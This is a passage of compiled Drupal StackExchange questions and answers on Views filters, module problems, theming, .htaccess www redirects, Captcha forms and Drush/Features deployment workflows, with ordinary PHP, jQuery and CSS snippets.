Then, you can create a PHP filter in your view. Someone write an example that is quite similar to what you need : https://drupal.stackexchange.com/a/44100/36824

---
Tags: views, nodes, 7, users
---


# Question
Title: How to use Exposed Filter criteria form for Advanced forum
I'm trying to modify my *Advanced forum topic list* Master view to have an exposed filter so that my users can search for topics.

However, after even a clean install with simplytest.me gives me the same problem: while entering a search query into the exposed form, the user will be redirected to the front page.

# Answer
This is not a solution, but might help toward writing one.

I found that the redirected page url had appended something like this:

?sid\[\]=6

which, when I appended to the forum page url, worked as desired - filtering as desired. So the url is created without the forum page part, just appending the above to the main site url part.
> 0 votes

---
Tags: 7, views, nodes
---


# Question
Title: DeployAuthenticationException: Authentication error when try to push the content
I have two sites on my localhost registration and testing. I want to push the content (node having type article) from testing to registration.I am using Deploy module to do this, by following this procedure. "https://www.drupal.org/node/1406134"

Everything is OK until I click "Deploy" on testing. When I do I get the following error:

my path to endpoint is "/services/rest. and I also visit here Authentication error when deploying site's content

but my issue still open.

# Answer
> 1 votes
I was having the same issue and I solving applying this patch: https://www.drupal.org/node/2017767#comment-7773329

Hope it helps!

---
Tags: 7, users, services, deployment
---


# Question
Title: advagg drupal module breaking my js file
I am using advagg module to improve my website performance and I also using date picker jquery UI function for date functionality.

I have datePicker intialization `$( "#datepicker" ).datepicker();` . It works perfectly, I can Even see the `calender` but when I am selecting the date, I don't see any alert.

for Some reason On `datepicker` function `onSelect` is not working when I have `advagg` enabled.

```
 jQuery('#datepicker').datepicker({
    onSelect: function(dateText, inst) {
        alert(dateText);
        glImgExpiry = dateText;
      }
});

```

If I disabled `advagg`, It works without any problem and I can see `alert(dateText)`. This is happening when I am configuraing `advagg` to my `dev/test` , In my local I am not able to configure correctly because I only see `per file setting` for `jscompression and other settings` in my `dev/test`.So sadly, I am not able to reproduce same issue in my local and it is breaking in my `test/dev` environment.

I know the information, I am giving is not sufficient to get the issue/ problem I am describing. I am just hoping some one might have faced same kind of issue and can help me resolve this problem.

## **EDIT**

As suggested I have tried putting the `datepicker` onSelect function inside `drupal.behavior`

```
(function($) {
    //add drupal 7 code
    Drupal.behaviors.myfunction = {
        attach: function(context, settings) {
//end drupal calls

            jQuery(document).ready(function() {
                jQuery('#gl_img_datepicker').datepicker({
                    onSelect: function(dateText, inst) {
                        alert(dateText);
                     }
                });
//some jquery goodness here...
            });

        }};
})
        (jQuery);

```

But I still dont see the `alert(dateText);` in the page.

Thanks your help is really appreciated.

# Answer
You do not need to add document.ready to a behavior.
Read about drupal behaviors HERE or at a good blog post HERE.
Basically I think Drupal adds a document.ready which calls all the behaviors. The behaviors are also called after an ajax call is returned (sending the new content returned by the ajax to the behaviors via the context variable). Which is why we use the context variable in the jquery selector.
Your javascript should probably look like this.

```
(function ($) {
  Drupal.behaviors.myfunction = {
    attach: function (context, settings) {
      $('#gl_img_datepicker', context).datepicker({
        onSelect: function(dateText, inst) {
          alert(dateText);
        }
      });
    }
  };
})(jQuery);

```
> 0 votes

---
Tags: 7, css-js-aggregation
---


title: View broken after upgrade to D6.33

text:
# Question
Title: View broken after upgrade to D6.33
I'm working on upgrading an old site. I've just upgraded from 6.17 to 6.33. Most things seem to be working, including some views, however one view is throwing the error below. I agree that there's no `node_data_field_image` table in the db, but there isn't one in the pre-upgrade backup, either. Any ideas?

```
Unknown column
    node_data_field_image.field_image_imceimage_title
in field list query:

SELECT DISTINCT
    node.nid AS nid,
    node.title AS node_title,
    node.uid AS node_uid,
    node.type AS node_type,
    node_revisions.format AS node_revisions_format,
    node.created AS node_created,
    node_data_field_image.field_image_imceimage_path AS node_data_field_image_field_image_imceimage_path,
    node_data_field_image.field_image_imceimage_width AS node_data_field_image_field_image_imceimage_width,
    node_data_field_image.field_image_imceimage_height AS node_data_field_image_field_image_imceimage_height,
    node_data_field_image.field_image_imceimage_alt AS node_data_field_image_field_image_imceimage_alt,
    node_data_field_image.field_image_imceimage_title AS node_data_field_image_field_image_imceimage_title,
    node.vid AS node_vid,
    node_revisions.body AS node_revisions_body,
    node.sticky AS node_sticky,
    DATE_FORMAT((FROM_UNIXTIME(node.created) + INTERVAL -14400 SECOND), '%Y%m%d') AS node_created_day
FROM node node
LEFT JOIN node_revisions node_revisions
ON node.vid = node_revisions.vid
LEFT JOIN content_field_image node_data_field_image
ON node.vid = node_data_field_image.vid
WHERE (node.type in ('news')) AND (node.status = 1 OR (node.uid = 1 AND 1 <> 0) OR 1 = 1)
ORDER BY node_sticky DESC, node_created_day DESC LIMIT 0, 5

in /home/rsage/rs_upgrade/sites/all/modules/views/includes/view.inc on line 810.

```

# Answer
If you have a backup of pre-upgrade version, how about your import your faulty view from there. The export-import feature in Views is usually very robust. If the import is successful, there is not point in banging your head as to why this error is coming.
> 0 votes

---
Tags: views, upgrading
---


# Question
Title: Rule to save a node based on fetched entity throws EntityMalformedException when the field is empty
So I have a rule that attempts to fetch a node using fetch entity by property, and re-save it with a new author if a user field value matches a node field value upon user login.

It works just fine unless it can't find a match, in which case I get the following error:

> EntityMalformedException: Missing bundle property on entity of type node. in entity\_extract\_ids()

I'm kind of surprised I get this error if the value doesn't exist, but now I need a workaround.

Is there some condition I can add here to prevent the error, or am I looking at removing the "fetch entity by property", and adding a `db_query()`?

# Answer
> 0 votes
Well I wound up writing code to fetch the entity:

```
$query = new EntityFieldQuery();
$query->entityCondition('entity_type', 'node')
  ->entityCondition('bundle', 'my_content_type')
  ->propertyCondition('status', NODE_PUBLISHED)
  ->fieldCondition('field_my_field', 'value', $some_value, '=')
  ->range(0, 1);
$result = $query->execute();

```

I then wound up using `$result` to update the target node's author:

```
if($result) {
  $eid=current($result['node']);
  $node = node_load($eid->nid);
  $node->uid = $account->uid;
  node_save($node);
}

```

I wonder if there's a method to query the database for a single entity? That would save the "hassle" of adding a range, then having to extract the desired value from the `$result` array.

---
Tags: 7, rules
---


# Question
Title: Filter to only nodes with an image in an imagefield
I'm sure this can't be difficult, but it has me stumped.

In my view, I want to exclude nodes that do not have an image in a specific field. The field allows an unlimited number of images. I don't care about the exact quantity, just that there are more than 0.

How do I create this filter and what do I filter on?

# Answer
> 5 votes
In the edit screen of your view, click "+" symbol in the filters box to add a new filter. Settings for filter:

* Select your imagefield you want to filter on (ex "Content: My Image (field\_my\_image) - list") and click the "Add" button
* Check *True* and click "Update"

Now only your selected nodes that has an image in the imagefield will show in the view

# Answer
> 7 votes
If you filter by one of the image field's subfields (e.g. fid, delta, language, width, height, etc), you may end up with duplicate rows in the results, which is usually not desirable. To avoid that, just filter by the "image\_field\_name:delta" field instead, setting the Operator to "Is equal to" 0. That should filter out all rows without images, and without creating duplicates.

# Answer
> 2 votes
Often, you will not have a True/False option. In this case, click to add Filter, select an image which ends with :fid. FID is short for File ID. Select "Is not empty (NOT NULL)" from the select menu.

This would require the File ID to be present; and File IDs cannot be present without the file.

# Answer
> 1 votes
I tried the Laxman13 instruction, but that process didn't worked to me. I think that the listing value is related to a node display context.

In my case, I had to create a relationship with my CCK image field (Content: Image - fid) and then make a file ID filter (File: File ID) using the previous relation with a "not empty" validation.

---
Tags: 7, media, views
---


title: Modify content type output

text:
# Question
Title: Modify content type output
I'm trying build a custom page for my content type with Views. What I've done so far:

* Created a grid display type template, I change columns to bootstrap columns;
* Hooked up a a template for teaser `node--tutorial--teaser.tpl.php` in template.php file.

What I would like to do next:

* Modify `print render($content);`
* Arrange my node teaser fields in this order: `image, title, summary, other fields`.

However, `title` seems to be seprated from content and not avaible as a field in teaser display settings.

How can I modify content output to include title and modify it's markup? What's the best way of acomplishing what I need?

Thank you

EDIT: Thanks to everyone for suggesting DIsplay Suite, but really after trying it out it just makes things more confusing... I'd much much rather assign some variables in a php files and arrange them the way I want in a template file.

# Answer
> 2 votes
I can't say this is the best way, but may be it may help you.. So, my approach is like this:

```
function MYMODULE_preprocess_node(&$variables)
{
  if ($variables['teaser'] && $variables['type'] == 'TYPE') {
    $titleField['title'] = array(
        '#markup' => '<div>' . $variables['title'] . '</div>'
    );

    array_push($variables['content'], $titleField);
    ...
  }
}

```

# Answer
> 0 votes
Why not using a view of regular fields, display them as an unformatted list, then add your bootstrap classes to your rows? It should get the proper CSS and you have all the fields you need in the proper order, without templating your teasers.

# Answer
> 0 votes
You can always use Display Suite module to accomplish what you need. Views for modeling a list of nodes (with filters and sorting parameters) than Display Suite to overwrite standard way of node teaser/full display. I think it will fit perfect for your case.

# Answer
> 0 votes
You can enable 'Display Suite Extras' module and check 'Page title options' in 'Other' tab After overwrite display of node type, you can hide the title.

---
Tags: views
---


title: Client specific prices

text:
# Question
Title: Client specific prices
Is it possible to have client specifik prices for products in Commerce? This should be an option with specific clients that has an agreement with the company. Everyone else will pay the ordinary prices.

# Answer
Yes, it's possible. I would recommend using role based pricing. Customers who deserve the special pricing should be given a specific user role. Then on the product type, add a secondary price field used specifically for users with that role. Finally, add a product pricing rule that checks to see if the order owner (i.e. commerce-line-item:order:owner) has the user role. If so, you should swap in the price value from the secondary field using "Set the unit price to some amount" and fetching the secondary price using the appropriate token. Remember that you'll have to first run an "Entity has field" condition on the line item to find its product reference field and again on the product to find its secondary price field.
> 1 votes

---
Tags: commerce
---


title: What is plugin bag?

text:
# Question
Title: What is plugin bag?
I fail to see the difference between plugin bag and plugin manager. As I look at it both just instantiate plugins with optional configuration.

# Answer
> 6 votes
The difference is that the plugin bag is a container for plugins that are lazily instantiated when needed. In short, you create a plugin bag instance passing the settings to the constructor, where the settings array is used to get the plugin IDs; each time a plugin is requested through PluginBag::get(), it will be created with PluginBag:initializePlugin() only when necessary.

A plugin manager is used to discover and instantiate single plugins; it is up to your code not creating a plugin that was already created.

The default plugin bag implementation is described as follows:

> A plugin bag is used to contain plugins that will be lazily instantiated. The configurations of each potential plugin are passed in, and the configuration key containing the plugin ID is specified by `self::$pluginKey`.

# Answer
> 1 votes
`PluginBag` has now been renamed to `LazyPluginCollection` to "more accurately convey its purpose". That change along with the background given in the change record and kiamlaluno's existing answer should clear it up:

> The concept of PluginBags was introduced by views and then expanded to a half dozen other entity types. PluginBags provide a way to lazily instantiate a set of plugin instances. The suffix "Bag" was chosen due to its assumed similarity to Symfony objects like ParameterBag, FlashBag, etc. However, "Bag" is supposed to mean that the object contains a set of variables or parameters (values), but that's not what PluginBag actually does.
>
> PluginBag is in fact an ordered map of values or other objects. The right name for that is a Collection. Additionally, PluginBag (or PluginCollection) doesn't explain its true feature, the laziness. Therefore, LazyPluginCollection makes the most sense.

---
Tags: 8
---


title: User edit url for profile

text:
# Question
Title: User edit url for profile
I have create menu link named as my account

Now i want to link that my account link to user/user\_id(currnt login user)/edit

Anybody tell me how to do that

Thanks

# Answer
This looks like something that you could use the **Menu token** module for. Install and enable the module, then use a link path like this: `user/[current-user:uid]/edit`
> 3 votes

---
Tags: 7
---


# Question
Title: How to check user by user name is exist in ldap server?
I am using LDAP as my source for users. This works fine, and everyone can simply log in using their LDAP info, and it will create a Drupal user for that person. However, one of our requirements is during user registration how to check this user already in ldap server or not , means is there any API by which i can check this user already in ldap server on user registration.

# Answer
> 1 votes
The LDAP module can handle that for you.

---
Tags: authentication-authorization
---


title: How to write a db_select query?

text:
# Question
Title: How to write a db_select query?
How can I write a query to do the following:

select cid, thread and paragraph\_id(I have added this field to comment table) from comment table, and then sort them first based on the paragraph\_id and then based on thread. So for the comments that have the same paragraph\_id they will be sorted by thread number.

# Answer
> 1 votes
You probably want to look on the db\_select documentation. I strongly reccomend on this comment.

---
Tags: comments, database
---


# Question
Title: Why does my site still use URLs containing the "q" query parameter?
I have *pathauto*, *transliteration* and *automatic node titles* enabled.

In the settings, my *content path pattern* is content/\[node:title\]. I expect the URLs to be in the format site/content/page-name, whereas what I have is site/?q=content/page-name.

I cannot figure out why. Do you have any idea?

# Answer
> 6 votes
The initial ?q= has nothing to do with pathauto, that is handled by Clean URLs. You should start by verifying that you have those enabled on admin/config/search/clean-urls

If clean URLs are enabled but don't work, or fail to become enabled, the most common cause is that the .htaccess file from the Drupal root directory is missing. This is unfortunately somewhat common since the leading dot in the filename makes the file hidden.

Occasionally, the clean URLs test gives a false negative result.

This assumes you are running a Apache web server; otherwise, you will need to seek URL rewriting help for your particular webserver. You will be able to find Drupal specific instructions to the vast majority of webservers with Google.

# Answer
> 0 votes
If using WampServer : Try This

Left click WampServer tray icon and goto Apache \>\> Apache modules

Scroll down and ensure that **rewrite\_modules** is checked.

---
Tags: path-aliases, uri
---


# Question
Title: user pictures not showing up in posts & comments
I am using a custom theme and it is not showing user pics in comments.

When I compared 'Appearance \> Settings \> Toggle display settings' of my theme with Bartik, if found that "User pictures in posts" & "User pictures in comments" is missing in my theme settings.

I don't understand what I am missing in my theme. Please suggest.

# Answer
comment.tpl.php is the template file which controls the view of comments in a page. You may search for this template file in your theme and edit it according to your requirement.

If you would like to customize the comments display for a specific content type the template file would be comment--node-\[type\].tpl.php
> 0 votes

---
Tags: theming, comments, users
---


# Question
Title: Cache SOAP search results from external web service
I've inherited an older Drupal 6 site which calls an external SOAP web service which not only takes a while to query and display results (approx. 5 seconds) but also re-queries the web service when any parameters are changed (e.g. results per page or ordering).

I am considering what efficiency improvements I can make (such as not re-querying the web service when some parameters are changed) but that will involve caching the initial responses, etc.

Was looking for suggestions that I might not have considered, importing the results into nodes isn't really an option due to the potential number of results

# Answer
> 0 votes
I suppose you could hack together a module that queries the external site and then populates an Apache Solr search database, then you could simply use the Apache Solr Search module on read-only to look at the data on your site...

---
Tags: caching, services
---


# Question
Title: Create a view block that shows list of nodes that references same node as current node
I have two `content types`. "Article" and "Collection". Any article can be placed into collection. Also when you create collection, you can select articles to be placed into collection. So I have created "collection" as `node reference` field in "Article" content type, and "article" as node reference field in "Collection" datatype.

Now when I am on any article page, I want to create view that shows other articles from the same collection. I have tried adding "collection" as `relationship` and `contextual filter` as "`NId`" with relationship with "collection", but it is listing all articles that is having any collection(may reference to other collection) and not the articles that belongs to collection of current article.

Am I doing something wrong?

Please suggest.

-- Thanks for your time.

# Answer
> 2 votes
Let us assume the the filed in collection that referes to article is `field_entity_article`

Then you would do the following.

1. With in your view first you would add a relationship called **Entity Reference: Referenced Entity** (A bridge to the Content entity that is referenced via field\_entity\_article)
2. The you would add another relationship **Entity Reference: Referenced Entity** (A bridge to the Content entity that is referenced via field\_node\_article) While you are here select the previous relationship you created from the dropdown **Relationship**
3. Add a contextual filter of the type content: nid and provide default argument and select node id from url form the dropdown.
4. Add the required field and give the second relationship we created for this.

That should do it.

# Answer
> 0 votes
I used the same approach as Mohammed, but found that the second Contextual Filter needed to be the Referencing Entity, not the Referenced Entity.

In essence, the first relationship identifies the Collection the current node is referencing. The second relationship uses the first relationship to identify any nodes where the Collection reference is the same as the current node.

---
Tags: 7, views, blocks, nodes
---


title: Page redirect with condition

text:
# Question
Title: Page redirect with condition
I want to redirect the users to a particular page when they view a certain page when there are some conditions. The condition is that the user has uploaded a node, for example an article.

Say there are two pages, Page A and Page B.

Page A Link \<-- if the user has not uploaded a node, clicking on this link will take him to Page B

I have installed the node limit module which allows the user to upload only one content.

# Answer
> 1 votes
It seems you can achieve that using the Rules module.

> The Rules module allows site administrators to define conditionally executed actions based on occurring events (known as reactive or ECA rules). It's a replacement with more features for the trigger module in core and the successor of the Drupal 5 workflow-ng module.

---
Tags: nodes, redirection, 7
---


# Question
Title: REQUEST_TIME is in GMT eventhough site timezone is IST
In admin/config/regional/settings I can see that IST timezone is set.

But when I print REQUEST\_TIME constant I see GMT one.

How to get the IST time in REQUEST\_TIME ?

# Answer
As per the docs.

> The entries in this array are created by the web server.

Drupal has no control over this, and in fact, neither does PHP. (Though of course both of them are free to manipulate the value)
> 1 votes

---
Tags: 7, datetime
---


# Question
Title: How to export Panels and Mini Panels with Features?
I am trying to export the Panels and Mini Panels on my website with Features.

On the features drop down menu, there is an option for `"Panels: panels_renderer_pipeline"`. However, when I click on it, no checkboxes appear.

I have looked though the `"StrongArm"` option but cannot find anything related to Panels and Mini Panels.

Thanks for any help!

# Answer
Make sure the panel was not already added to another feature-module. You need to add the pagemanager stuff (handlers and pages) to the feature too.

BTW the pagemanager status enabled/disabled is set via a drupal variable, so check also strongarm: If i.E. node/%node is enabled, then the variable `page_manager_node_view_disabled` is set to `FALSE`.
> 9 votes

# Answer
In Feature, add the dependent modules as well. If you are using views with panels then the views panes modules should be present as well. So check all the dependent modules, as well.

Enable strongarm module. In Feature, export the following variables under Strongarm:

* "**page\_manager\_node\_view\_disabled**" for node overides
* "**page\_manager\_term\_view\_disabled**" for taxonomy overides
> 1 votes

---
Tags: panels, features
---


title: Display tooltips

text:
# Question
Title: Display tooltips
I have a webform and I want to display a tooltip on hover/click when you click/hover over a information box.

I did look into Qtip but it was way to buggy and not well done so I have decided to go another way but I'm still not sure if a module is necessary for this or if I should write a script for it?

Suggestions?

# Answer
Use the Form Tips module. I've tried this module and it's working fine for Webforms too.

> Form Tips module uses JS to move form descriptions to tooltips.
>
> It helps to reduce form clutter by removing form descriptions from the page and only displaying them when needed

Hope this helps.
> 4 votes

---
Tags: 7, webforms
---


# Question
Title: How to add multiple taxonomy term to a single node in drupal 7?
Using Taxonomy terms auto-complete wizard I can able to add one term to the a node. But I wanted to add multiple terms to a single node? Is it possible? If so, is there any modules or plugins or any configuration options in existing module?

In the above screen shot, I can able to add only one term. But I want to do in the way shown below.

# Answer
> 1 votes
Go to Term Reference *Field settings* of the content type and change '*Number of values*' to your required value.

For example if you want to allow 2 terms per node change the allowed number of values to '2' from select list. If you want to allow more than 10 or so change the option to 'Unlimited' so that you can insert multiple taxonomy terms to a node separated by '*comma*' (,).

Here I've provided screenshot to allow unlimited values. Here 'SECONDTERM' is my Term Reference of Autocomplete term widget field label name.

---
Tags: 7, taxonomy-terms
---


title: How to style checkboxes in Drupal?

text:
# Question
Title: How to style checkboxes in Drupal?
I use the Better Exposed Filters module. I need to style the checkboxes (change the background of the checkbox).

I tried to do with CSS, but it doesn't work. I use jQuery to add a class to the input of the checkbox, and then apply style for this class, but this doesn't work.

Does anyone know how to do this?

# Answer
> 4 votes
You simply can’t style a checkbox (+ radio + select) via CSS. You’ll have to include another jQuery plug-in to achieve your goal. Something like uniformjs. Hope this helps and answers your question.

# Answer
> 1 votes
Here's an SCSS snippet that I use to style checkboxes & radios w/ CSS only in Drupal:

```
.form-type-checkboxes,
.form-type-radios {
  .form-type-radio,
  .form-type-checkbox {
    position: relative;
    padding: 3px 0;
    input[type="checkbox"],
    input[type="radio"] {
      position: relative;
      z-index: 10;
      opacity: 0;
      vertical-align: middle;
      &, & + label:before,
      &:checked + label:before {
        width: 28px;
        height: 28px;
      }
      &, & + label {
        cursor: pointer;
      }
      & + label:before,
      &:checked + label:before {
        border: 1px solid $light-grey;
        box-shadow: inset 0px 0px 0px 4px $white, 0px 1px 2px rgba(0, 0, 0, 0.3);
      }
      &:checked + label:before {
        background-color: $orange;
      }
      & + label:before,
      &:checked + label:before {
        content: " ";
        position: absolute;
        left: 0;
        top: 0;
        display: inline-block;
      }
    }
    input[type="radio"] {
      & + label:before,
      &:checked + label:before {
        border-radius: 100%;
      }
    }
  }
}

```

---
Tags: theming
---


title: Sum of Columns for View

text:
# Question
Title: Sum of Columns for View
I have a view with the following results:

```
           penalty    attorney_fees   other
client1    100,000    100,000         0

client2    50,000     75,000          10,000

client3    25,000     50,000          25,000

           total?     total?          total?

```

How do I get the sum of the column "total" for penalty, attorney\_fees, and other?

# Answer
You can use the Views Calc module for that. Here is an excerpt about it from the module's project page:

> ... adds simple calculations to a views table. Requires the Views module.
>
> You can SUM, AVERAGE, COUNT, MIN, MAX, or AVG selected columns. A plug in theme makes the view look more spreadsheet-like (right justifies numeric fields, shades calculated columns and rows, and underlines calculated rows).
> 2 votes

# Answer
you can download and install the Views Aggregator Plus module then your problem is solved. This module allow to the sum functionality in there. Here is an excerpt about it from the module's project page:

> ... As the **Views** and **Views Calc** modules rely on the database to perform aggregation, you only have limited options at your disposal. As the great Merlin himself said: "You can't aggregate a PHP expression in the database.".
>
> That's where Views Aggregator Plus comes in. In addition to what Views and Views Calc do, this module:
>
> * enumerates group members
> * produces tallies, i.e. textual histograms
> * aggregates on Views PHP code-snippet evalutations
> * can filter out result rows on regexp patterns
> * gives you sorting on Views' Math expressions
> * can process Webform submissions
> * lets you add your own custom aggregation functions
>
> ... and it puts summary statistics at the bottom of your aggregated table as well!
> 0 votes

---
Tags: views
---


title: Author pane block

text:
# Question
Title: Author pane block
In my project I am working on user profile. to display user info I am using Author Pane module, which provide a block and showing information. But this block not display on other pages of site. How to change configuration of author block to display on any page?

# Answer
Make sure to configure your 'Author Pane' settings as follows.

If you want to display block on all node types make sure to select all node type checkboxes (under Block Title Field).

and make sure to configure Visibility Settings of the Block.

If you want to display this block on all pages. make sure to check 'All pages except those listed'

I've tested this and working fine. Hope this helps.
> 0 votes

---
Tags: blocks
---


# Question
Title: Redirect all www addresses to non-www web addresses
How can I redirect all traffic from www.domain.com/page to domain.com/page?

I need to disallow traffic to web addresses that include the www. The reason is that I have an SSL certificate that only works with non-www web addresses. If users try to access https://www.domain.com, they get a certificate error.

# Answer
Uncomment lines 93 and 94 in the .htaccess file that comes with Drupal in the web root.

```
RewriteCond %{HTTP_HOST} ^www\.(.+)$ [NC]
RewiteRule ^ http://%1%{REQUEST_URI} [L,R=301]

```

EDIT: If the certificate requires https, edit the second line to read:

```
RewiteRule ^ https://%1%{REQUEST_URI} [L,R=301]

```
> 6 votes

# Answer
This is how you can achieve that in Drupal 7, editing your .htaccess

```
# To redirect all users to access the site WITH the 'www.' prefix,
# (http://example.com/... will be redirected to http://www.example.com/...)
# uncomment the following:
# RewriteCond %{HTTP_HOST} .
# RewriteCond %{HTTP_HOST} !^www\. [NC]
# RewriteRule ^ http%{ENV:protossl}://www.%{HTTP_HOST}%{REQUEST_URI} [L,R=301]
#
# To redirect all users to access the site WITHOUT the 'www.' prefix,
# (http://www.example.com/... will be redirected to http://example.com/...)
# uncomment the following:
RewriteCond %{HTTP_HOST} ^www\.(.+)$ [NC]
RewriteRule ^ http%{ENV:protossl}://%1%{REQUEST_URI} [L,R=301]

```
> 1 votes

---
Tags: .htaccess
---


# Question
Title: How to use Drupal Captcha in Custom form?
Creating nodes can take a long time. That is why for one specific part of my site, I have created my own custom form. The problem is, I want to use the captcha plugin so I don't have to get another separate module for that.

How can I use the Captcha module PROGRAMATICALLY so that I don't need a separate libary?

# Answer
From looking at the code in the Captcha module, it looks like Captcha defines a new form element.

So an example would look like:

```
$form['name'] = array(
  '#type' => 'textfield',
  '#title' => t('Name'),
);
$form['captcha'] = array(
  '#type' => 'captcha',
  '#captcha_type' => 'captcha/Math',
);

```

Where `captcha/Math` is the module that provides a type of captcha, followed by the type of captcha to use.
> 4 votes

---
Tags: captcha
---


# Question
Title: Can I clone a cinema website's seat selector, using contrib modules?
I'd like to clone the functionality you get on many cinema websites, where it shows you the seating plan for the cinema and lets you pick a seat. Seats that have already been booked are in one colour, available seats are in another colour, the seats you currently have selected are in a third colour.

How close can I get to this functionality only using contrib modules?

# Answer
Try the Reservation module.

Reservation module is for reserving individual seats at a theater or restaurant

> This module allows site users to reserve a unit. A unit could be anything, but the most common are rooms or pieces of equipment. Site builders create the units that can be reserved, adding any additional fields. Validation of reservations is done using Rules, which can be customized by the site builder.

There are a number of other reservation type modules available, including *Simple Reservation*, *Reservations*, and *Checkfront*. But this module seems that it meets your requirement.
> 1 votes

---
Tags: 7
---


# Question
Title: duplicate search field appearing with just one block
There's suddenly two search fields appearing on my dev site. I'm afraid I'm not sure what the last change was before this.

There's just one standard Drupal search block configured

here's the html from chrome's inspector

```
<div id="block-search-form" class="block block-search contextual-links-region last even" role="search">

      <div class="contextual-links-wrapper"><ul class="contextual-links"><li class="block-configure first last"><a href="/admin/structure/block/manage/search/form/configure?destination=node">Configure block</a></li>
</ul></div>
  <form action="/" method="post" id="search-block-form" accept-charset="UTF-8"><div><div class="container-inline">
      <h2 class="element-invisible">Search form</h2>
    <div class="form-item form-type-textfield form-item-search-block-form">
  <label class="element-invisible" for="edit-search-block-form--2">Search </label>
 <input title="Enter the terms you wish to search for." type="text" id="edit-search-block-form--2" name="search_block_form" value="" size="15" maxlength="128" class="form-text">
</div>
<div class="form-actions form-wrapper" id="edit-actions"><input type="submit" id="edit-submit--6" name="op" value="Search" class="form-submit"></div><input type="hidden" name="form_build_id" value="form-siNBZmrvpwkL6N9gfwu4Li2LBMPzp0TVxw81H7C4H2U">
<input type="hidden" name="form_token" value="nxWBZ6gSMs4INvrbfpGyfd4DTr2QhLdfSrjuYA5PSC0">
<input type="hidden" name="form_id" value="search_block_form">
</div>
</div></form>
</div>

```

# Answer
> 1 votes
It's probably a css problem.

My guess is the search bar is using a background image. The image contains both the inactive search background and the active search background. It's a good thing to avoid to load 2 different images. If you want this to work, you need to ensure that the search box has a fixed height.

So in the css, you should have something like :

```
#edit-search-block-form--2 {
  height: 10px;   /* 10px => replace this with the real height */
}

```

---
Tags: search
---


# Question
Title: What is wrong with this drupal 7 preprocess function to output a fields value into the body classes?
I have the following preprocess function and was wondering what I have wrong here as its not working.

This is just to grab a fields value and insert it into the body classes.

```
/**
 * Implements hook_preprocess_html().
 */
function cotyhouse_preprocess_html(&$vars){
  $node = menu_get_object('node');

  // Check if on an article node page
  if ($node->type == 'article') {
    // Get field values
    if (field_get_items('node', $node, 'field_title_color') == 'black') {
      $vars['classes_array'][] = drupal_html_class('tblk');
    }
    if (field_get_items('node', $node, 'field_title_color') == 'white') {
      $vars['classes_array'][] = drupal_html_class('twhi');
    }
    if (field_get_items('node', $node, 'field_title_color') == 'white_shadow') {
      $vars['classes_array'][] = drupal_html_class('tsha');
    }
  }
}

```

# Answer
field\_get\_items return an array of field item so you need to do something like :

```
/**
 * Implements hook_preprocess_html().
 */
function cotyhouse_preprocess_html(&$vars){
  $node = menu_get_object('node');

  // Check if on an article node page
  if ($node->type == 'article') {

    // get field_title_color value
    $color = NULL;
    $field_items = field_get_items('node', $node, 'field_title_color');
    if ($field_items) {
      $first_item = reset($field_items);
      $color = $first_item['value'];
    }

    // Set class corresponding to color
    if ($color == 'black') {
      $vars['classes_array'][] = drupal_html_class('tblk');
    }
    if ($color == 'white') {
      $vars['classes_array'][] = drupal_html_class('twhi');
    }
    if ($color == 'white_shadow') {
      $vars['classes_array'][] = drupal_html_class('tsha');
    }
  }
}

```
> 1 votes

---
Tags: 7, theming
---


title: Print node body removing html entities?

text:
# Question
Title: Print node body removing html entities?
Im printing the node body in my tpl file with this:

```
 <?php print render(field_view_field("node", $node, "body", array(
  "label"=>"hidden",
  "type" => "text_summary_or_trimmed",
  "settings"=>array("trim_length" => 150),
))); ?>

```

The " and ' characters in the node's content are breaking the page as im putting this in a mailto link. How can I make sure these characters are printed as non html entities eg `"` instead of ".

# Answer
You could wrap it in PHP's htmlspecialchars and strip\_tags functions:

```
$body_trimmed = render(field_view_field("node", $node, "body", array(
  "label"=>"hidden",
  "type" => "text_summary_or_trimmed",
  "settings"=>array("trim_length" => 150),
)));
print htmlspecialchars(strip_tags($body_trimmed));

```

This would give you plain text with special characters encoded.

Alternately, if all you want to do is escape the quote characters and leave the divs in place, you could do a search/replace using str\_replace for each, adding the backslash to escape them:

```
$body_trimmed = render(field_view_field("node", $node, "body", array(
  "label"=>"hidden",
  "type" => "text_summary_or_trimmed",
  "settings"=>array("trim_length" => 150),
)));
$body_trimmed = str_replace("'","\'",$body_trimmed);
$body_trimmed = str_replace('"','\"',$body_trimmed);
print $body_trimmed;

```
> 2 votes

---
Tags: theming
---


# Question
Title: Accessing Login page shows You are not authorized to access this page
Till about an hour ago my Drupal 7 site was working fine. But now when I access the login page (/user) I get an **You are not authorized to access this page**

So I checked the node\_access table and I see a record for anonymous users - 0 0 all 1 0 0

I checked the sessions table and it didn't seem to be corrupted. But nevertheless cleared the records. But I am still unable to access the login page

The last time we applied a module update was 10 days back so I don't think its got to do anything with the module code written by us.

I am at my wits end! Have anyone of you faced a similar issue?

EDIT 21st Oct 2014 : A link that explains the exploit - is here

# Answer
> 1 votes
You are logged in, and need to logout.

---
Tags: users
---


# Question
Title: How to handle enabling new modules with Drush via makefile
At work we are moving to getting our new sites set up in git and doing local development. So far I've created a drush make file along with an installation profile, and I have this scripted via puppet so that when a user does a fresh clone of a repository it will download all of the packages and run a basic site install. This works OK.

Now, my question is for when I need to use a new module for a site. For example, we build a new module for the site. I want the other developers to pull from git and have the new module automatically installed. Adding it to the drush make file will only cause it to be downloaded, and running 'drush si' will cause the site to be reinstalled, wiping out all of the data.

What's the best way to accomplish this?

**Edit**

I feel I haven't explain this properly. I'm looking for a way to automatically enable modules based on the makefile entries in drush. The idea is the user checks out a project, and then I'll have puppet run 'drush make' and 'drush si' if no settings.php file exists. What I need to figure out is for when the next time the user does a pull and we've added a new module, how to have that automatically enabled through some script. If I need to I'll write something to parse the makefile and run 'drush en' manually, but I'd like to find something that is pre-built to do this.

# Answer
> 4 votes
I worked for a company that had a large dev/stage/prod flow that tried to automate as much as possible. Everything had to be done in code, scripted either using features or update hooks.

Basically, what you wanting is to have 1 custom module that exists to contain update hooks. This way, when a developer pulls an update to the code base, they run the db update, and that can perform whatever module enable/disables need to happen. The update hooks do not affect a new installation, because it is assumed that the module is already up to date when it is installed, and will only execute newer updates.

To summarize:

1. Continue using your installation profile to perform the necessary installation tasks (enabling modules, etc.).
2. Use a custom "update" module which uses hook\_update\_NXXX() to enable/disable new modules and otherwise keep your site's administrative tasks in sync.

Here is a post that talks about a similar approach and gives code examples.

# Answer
> 1 votes
This is a great question. `drush make` is convenient for downloading modules. We don't want to contribute to module bloat. Over here the case is made not to extend `make` in this way. Perhaps Features is best for managing the site's module enabled state, as well as other configuration aspects.

# Answer
> 1 votes
Consider modifying your workflow.

